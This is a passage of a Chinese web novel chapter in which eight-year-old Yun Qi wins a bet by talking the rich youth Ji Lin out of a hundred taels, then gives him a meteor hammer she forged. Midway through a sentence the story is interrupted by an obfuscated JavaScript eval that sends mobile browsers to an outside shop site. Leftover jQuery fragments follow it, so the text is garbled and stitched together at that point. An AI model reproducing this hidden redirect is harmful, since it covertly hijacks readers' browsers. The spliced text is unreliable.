季临本来是想在云七脸上看到失望之色,但却见小女娃神情平静,一副“早就猜到”的样子,顿时有些惊讶。
云七:“你等我一下。”
她把季临丢在院中,自顾自进了牧风越书房,很快又从书房出来,往院门口走去:“越说我可以去。”
季临百思不得其解,快步走到云七身侧,好奇问:“你是怎么让越改变主意的?”
他可是很了解越的脾气,但凡做了决定,要想他改变,那简直比看见太阳从西边出来还稀罕,明明刚刚才冷酷无情地拒绝了他的要求。
只不过是带云七去逛一逛,有他陪着,难道还担心扶山氏的人不成?
可是他好话说尽,嘴皮子都快磨薄了,也没能让越松口。
怎么云七进屋连半炷香功夫都没有,就能说动越同意,她是给越吃了什么迷魂药不成?
季临觉得,如果自己不能知道原因,晚上是别想睡着了。
云七瞥了他一眼:“想知道吗?”
“想。”季临重重点头。
“给我一百两银子,我就告诉你。”
季临立刻从怀里掏出一叠银票,取出一张,递给云七。
看他的那一叠银票,云七顿时觉得自己要价过低,根据原身在花夕村生活的记忆,村民若能有个十两银子,就够娶个媳妇了。
她从季临的穿着打扮、言谈举止上,能确定他是个富家子。但是考虑到富家子出门从来不会随身带太多钱,只需要报名字挂账就行,没想到这位随身带着这么多银票。
放在她以前那个世界,只有暴发户才会这么做,但是怎么看季临,也不像暴发户。
心里念头转了又转,小脸却一派平静,接过银票,仔细看了看。她还从没见过真正的银票呢。
图案很精美,纸张带着一点丝帛特有的韧性和手感。
如果上面的数字再多一些,那就更美好了。
季临见她举着银票,看了又看,还以为她是怀疑银票的真假,没好气道:“这可是在整个大玄通兑的宝聚庄银票,怎么,还怕小爷糊弄你不成?”
云七:“我只是好奇,你出门随身带这么多银票干嘛?不怕被人打劫?”
季临惊讶:“不过是点零花钱而已,多吗?”
好吧,贫穷限制了云七的想象力。
“可是有钱人不都是挂账吗?”
季临:“千八百两的东西,倒是犯不着挂账。”
身无分文的云七,被扎心了。
“我跟越打了个赌,若是我赢了,他就准我跟你一起出门逛逛。”
“什么赌?”
“我只说一句话,而且绝对不提和钱有关的任何字,就能赚你一百两银子,很显然,我赌赢了。”
啊,这也可以?
云七举起银票,拿手指弹了弹,冲着书房门口:“我赢了。”
牧风越不知道什么时候站在了书房门口,显然刚才那一幕都尽收眼底。
女娃娃眼神干净,一脸纯良,明明只有八岁,但那脑袋瓜子里面装的东西,显然和这个年龄不符。
还真是越来越有趣了呢。
牧风越淡淡一笑:“你赢了,季临,你带她去逛逛,逛到她尽兴为止。”
季临:“哥,放心,我保证把她平平安安送回来。”
牧风越:“我很放心云七,只是有些不放心你。”
季临险些吐出一口老血,他不差钱,一百两银子对他来说,跟一文钱没啥区别,但是被越这么一说,实在是有些丢人。
他可是已经入了初境的天才少年啊,怎么就让一个八岁女娃娃给拿捏了?
若不是云七是个小女娃,他定要抓起来揍到求饶为止,就像他教训调皮捣蛋的小学弟。
心里虽然愤愤不平,但既然答应了带她去逛,自然不能食言,他可是堂堂男儿郎,言出必行。
两个人走出坐忘观,观外的树上栓着一匹大红色的骏马,看见季临,骏马就亲热的扬起头,喷着鼻息。
“这是你的坐骑?叫什么名字?”
云七大感兴趣,她还从没骑过马呢。
“赤焰。”
果然是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460541|141702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中二少年会取的名字。
云七停下脚步,从背篓里取出那个流星锤,在手里甩了几下,“唰”的甩出去,砸断了一截树枝。
试了试手感和重量,还算满意,当然了,她要是有足够的时间,肯定能做的更好一些。
季临在旁边看着流星锤,又看着她的手法:“你、你会武技?”
武技自然是不会的,只是云七既然铸造冷兵器,那肯定要熟悉每样兵器的用法,才能在打制的过程中,知道什么是重点。
现在她只有八岁,受身体素质所限,力量太弱。
她那一世,家传的炼筋易骨功习练有成,不仅力量远超常人,还能对自身力量进行极其精准的控制,才能在打制冷兵器时,做到毫厘不差。
如今,不过重头再来而已。
她收回流星锤,递给季临:“送你的。”
季临的愤愤不平已经不翼而飞,双眼放光,用手掂了掂圆锤,又扯了扯系着圆锤的麻绳,大感兴趣。
这个年龄的少年,又是武修,自然痴迷于兵器甲胄之类的东西,更何况是从来没见过的新奇玩意。
圆球表面是一层银丝编织而成,严丝密合,里面的内核不知道是什么东西,掂起来不轻,但又不像铁块那么重。
这个重量,既能保证扔得远,杀伤力还不弱。
系圆球的麻绳,虽然只有筷子粗细,但编织的手法极其特别,里面像是还夹杂了别的东西,他用了八分力气竟然都没有扯断。
要知道他已经入了初境,双手用力这么一扯,哪怕是牛筋都会被扯断。
真是太好玩了,只是他记得很清楚,当初从奴牢里把云七背过来的时候,确认云七身上并没有这个东西。
她是怎么得来的?
云七开始并没有想到把流星锤送给季临,她本来是准备去外面找个兵器铺子,看能不能把这东西卖掉。
她身无分文,但她想买点东西,没钱不行。
现在既然从季临那里弄了一百两银子,也就不用去想法子卖流星锤了,直接送给季临,一举两得。